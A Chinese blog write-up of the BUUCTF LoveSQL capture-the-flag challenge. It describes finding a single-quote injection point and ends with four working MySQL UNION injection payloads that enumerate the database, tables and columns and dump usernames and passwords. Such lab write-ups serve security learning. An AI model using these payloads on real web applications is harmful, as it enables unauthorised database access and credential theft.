BUUCTF [极客大挑战 2019]LoveSQL

最新推荐文章于 2025-04-03 18:51:07 发布

1431880277

最新推荐文章于 2025-04-03 18:51:07 发布

阅读量150

点赞数

本文链接：https://blog.youkuaiyun.com/m0_52824752/article/details/118065888

版权

SQL注入数据库安全联合查询信息泄露 Web漏洞

关键词由优快云通过智能技术生成

本文介绍了SQL注入的基本过程，从发现单引号字符型闭合漏洞开始，逐步揭示了如何利用注入技巧获取数据库名、列数、表信息及字段内容。通过union联合查询，成功读取了geekuser和l0ve1ysq1表中的敏感数据，涉及数据库安全和Web应用防护。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

获取靶机
在这里插入图片描述
首先很容易试出为单引号字符型闭合,输入 1、1"、1’ , 在1’时报错

然后尝试注入，发现，好像没有过滤，连 union 联合注入都能使用，并且很容易得到数据库名称,得到数据库名称geek

但在此之前，先得到列数为3，不是3则提示报错
在这里插入图片描述
得到表信息，有两个表geekuser和l0ve1ysq1

在这里插入图片描述
先读取表 geekuser 中的字段，得到字段名 id、username 和 password，很正常的字段名。

再来读内容username 和 password 的内容,得到admin的登录信息

尝试表l0ve1ysq1 , 同样的字段名

注：最简单的union 联合注入

 - 读取数据库      1' union select 1,2,database()#    

 - 读取表         1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #    

 - 读取字段        1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #    

 - 读取内容        1' union select 1,2,group_concat(username,0x3a,password) from l0ve1ysq1#